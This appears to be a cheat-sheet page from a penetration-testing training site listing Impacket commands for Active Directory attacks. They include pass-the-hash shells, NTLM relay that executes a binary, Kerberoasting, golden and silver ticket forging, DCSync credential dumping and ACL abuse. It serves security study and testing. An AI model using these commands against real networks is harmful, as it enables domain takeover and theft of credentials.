active-directory
Impacket — Windows & Active Directory Attacks
Impacket Python library with tools for SMB, MSRPC, Kerberos, NTLM, WMI, and AD attacks.
Authentication & Relay (16)
impacket-psexec domain/user:[email protected]
PSExec — get SYSTEM shell via SMB
impacket-psexec domain/[email protected] -hashes :NTLMhash
PSExec with pass-the-hash
impacket-smbexec domain/user:[email protected]
SMBExec — alternative to PSExec (no file drop)
impacket-wmiexec domain/user:[email protected]
WMIExec — code exec via WMI (no service)
impacket-wmiexec domain/[email protected] -hashes :NTLMhash
WMIExec pass-the-hash
impacket-ntlmrelayx -tf targets.txt -smb2support
NTLM relay attack to target list
impacket-ntlmrelayx -tf targets.txt -smb2support -i
NTLM relay — interactive SMB shell
impacket-ntlmrelayx -tf targets.txt -smb2support -e shell.exe
NTLM relay — execute binary on target
impacket-ntlmrelayx -t ldap://DC01 --escalate-user compromised_user
Relay to LDAP for privilege escalation
impacket-atexec domain/user:[email protected] "whoami /all"
AtExec — command execution via the Task Scheduler service
impacket-dcomexec domain/user:[email protected]
DCOMExec — code exec via DCOM (MMC20 / ShellWindows / ShellBrowserWindow)
impacket-ntlmrelayx -tf targets.txt -smb2support --remove-mic
Drop-the-MIC relay bypass (CVE-2019-1040)
impacket-ntlmrelayx -t ldaps://DC01 --delegate-access
Relay machine auth to LDAPS and grant RBCD over the relayed computer
impacket-ntlmrelayx -t ldaps://DC01 --shadow-credentials --shadow-target victim$
Relay to LDAPS and add Shadow Credentials (msDS-KeyCredentialLink)
impacket-ntlmrelayx -t http://10.10.10.1/certsrv/certfnsh.asp --adcs --template DomainController
ESC8 — relay machine auth to AD CS web enrollment to mint a cert
impacket-ntlmrelayx -tf targets.txt -smb2support -socks
Hold relayed sessions in a SOCKS proxy pool for later use
Kerberos Attacks (13)
impacket-GetUserSPNs domain.local/user:password -dc-ip 10.10.10.1 -request
Kerberoasting — dump TGS hashes for SPNs
impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.1
AS-REP Roasting — users with no pre-auth
impacket-GetNPUsers domain.local/ -no-pass -dc-ip 10.10.10.1
AS-REP Roast all domain users (anonymous)
impacket-ticketer -nthash NTLMhash -domain-sid S-1-5-21-xxx -domain domain.local -spn cifs/server.domain.local user
Forge Silver Ticket for service
impacket-ticketer -nthash krbtgt_hash -domain-sid S-1-5-21-xxx -domain domain.local administrator
Forge Golden Ticket (krbtgt hash needed)
export KRB5CCNAME=/tmp/ticket.ccache && impacket-psexec -k -no-pass domain.local/user@server
Pass-the-Ticket: use .ccache for auth
impacket-getTGT domain.local/user:password -dc-ip 10.10.10.1
Request a TGT and save it as a .ccache (then export KRB5CCNAME)
impacket-getST -spn cifs/srv.domain.local domain.local/svc_user:password -impersonate Administrator -dc-ip 10.10.10.1
S4U2Self+S4U2Proxy — impersonate a user via constrained delegation
impacket-getST -spn cifs/target.domain.local -impersonate Administrator "domain.local/EVILPC$" -hashes :NTLMhash -dc-ip 10.10.10.1
RBCD — request a service ticket as an impersonated user
impacket-ticketer -nthash SVC_NTLMhash -domain-sid S-1-5-21-xxx -domain domain.local -spn MSSQLSvc/sql.domain.local -user-id 500 administrator
Forge a SILVER ticket for a single service (offline, no DC contact)
impacket-raiseChild child.domain.local/childadmin:password
Child → parent domain escalation (auto golden + cross-domain)
impacket-ticketConverter ticket.kirbi ticket.ccache
Convert Rubeus .kirbi ↔ Impacket .ccache ticket formats
impacket-describeTicket ticket.ccache
Decode and inspect a ccache/kirbi ticket (flags, keys, PAC)
Credential Dumping (10)
impacket-secretsdump domain/user:[email protected]
Dump SAM, LSA, cached creds remotely
impacket-secretsdump domain/[email protected] -hashes :NTLMhash
secretsdump with pass-the-hash
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Offline NTDS.dit dump (local files)
impacket-secretsdump domain/admin@DC01 -just-dc-ntlm
DCSync — dump all domain hashes (DA needed)
impacket-secretsdump domain/[email protected] -just-dc
Full DCSync — NTLM hashes + Kerberos keys (incl. krbtgt) + history
impacket-secretsdump domain/[email protected] -just-dc-user krbtgt
Targeted DCSync — pull only krbtgt (for golden tickets)
impacket-secretsdump domain/[email protected] -use-vss
Dump NTDS.dit via a Volume Shadow Copy
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
Offline parse of exported registry hives (local hashes + LSA + cached)
impacket-dpapi masterkey -file mkfile -sid S-1-5-21-xxx -password Passw0rd
Decrypt a DPAPI masterkey blob
impacket-dpapi credential -file cred.blob -key 0xDECRYPTED_MASTERKEY
Decrypt a DPAPI credential blob with a recovered masterkey
Enumeration & SMB (13)
impacket-smbclient domain/user:[email protected]
Interactive SMB client
impacket-smbclient domain/[email protected] -hashes :NTLMhash
SMB client with hash
impacket-lookupsid domain/user:[email protected]
Enumerate users/groups via SID bruteforce
impacket-rpcdump domain/user:[email protected]
Dump RPC endpoints
impacket-reg domain/user:[email protected] query -keyName "HKLM\SAM"
Remote registry query
impacket-mssqlclient domain/user:[email protected]
MSSQL interactive client
impacket-mssqlclient domain/user:[email protected] -windows-auth
MSSQL with Windows auth
impacket-GetADUsers -all domain.local/user:password -dc-ip 10.10.10.1
List all domain users with last-logon / pwd-last-set
impacket-samrdump domain/user:[email protected]
Enumerate users, groups and aliases via MS-SAMR
impacket-findDelegation domain.local/user:password -dc-ip 10.10.10.1
Enumerate unconstrained / constrained / RBCD delegation
impacket-services domain/user:[email protected] list
List / start / stop / create remote Windows services
impacket-smbserver share /tmp/share -smb2support
Host an SMB share (file transfer, or capture/relay auth)
impacket-Get-GPPPassword "domain/user:[email protected]"
Recover cPassword secrets from Group Policy Preferences (MS14-025)
ACL & Delegation Abuse (6)
impacket-dacledit -action write -rights DCSync -principal attacker -target-dn 'DC=domain,DC=local' domain.local/admin:password
Grant DCSync rights to a controlled principal (DACL abuse)
impacket-dacledit -action read -principal attacker -target victimuser domain.local/user:password
Read the ACEs in an object DACL
impacket-owneredit -action write -new-owner attacker -target victimobject domain.local/user:password
Take ownership of an object (WriteOwner abuse)
impacket-changepasswd domain.local/[email protected] -newpass NewP@ss1 -altuser attacker -altpass Pass -reset
Force-reset a target password (ForceChangePassword / GenericAll ACL)
impacket-addcomputer -computer-name 'EVILPC$' -computer-pass Passw0rd domain.local/user:password -dc-ip 10.10.10.1
Add a machine account (uses MachineAccountQuota) for RBCD/shadow-creds
impacket-rbcd -delegate-from 'EVILPC$' -delegate-to 'TARGET$' -action write domain.local/user:password -dc-ip 10.10.10.1
Write msDS-AllowedToActOnBehalfOfOtherIdentity (configure RBCD)
Related Articles
5
Active Directory
ADCS Attacks (ESC1–ESC16)
AD CS is the quietest road to Domain Admin: one mis-set checkbox on a certificate template…
Active Directory
Active Directory Attacks
Deep dive into Active Directory attack techniques — Kerberoasting, AS-REP Roasting, Pass-t…
Network Security
Wireshark for Security Professionals
Master Wireshark for security work — capture and display filters, protocol dissection, det…
Network Security
OSI Model — The 7 Layers, Deep Dive
The reference model every networking interview asks about. All 7 layers explained with the…
Network Security
TCP/IP — The Internet's Wiring, Deep Dive
How packets actually move across the internet — the layered stack, IP headers, the iconic …
Related Courses
3
⭐ Premium
Intermediate
Network Penetration Testing
From host discovery to Active Directory attacks
⭐ Premium
Intermediate
Windows Privilege Escalation — Complete Course
From whoami /priv to NT AUTHORITY\SYSTEM — every technique, tool, and HTB/THM/PG practice …
Beginner
Networking Fundamentals for Pentesters
Understand how networks actually work — so you can break them. TCP/IP, routing, protocols,…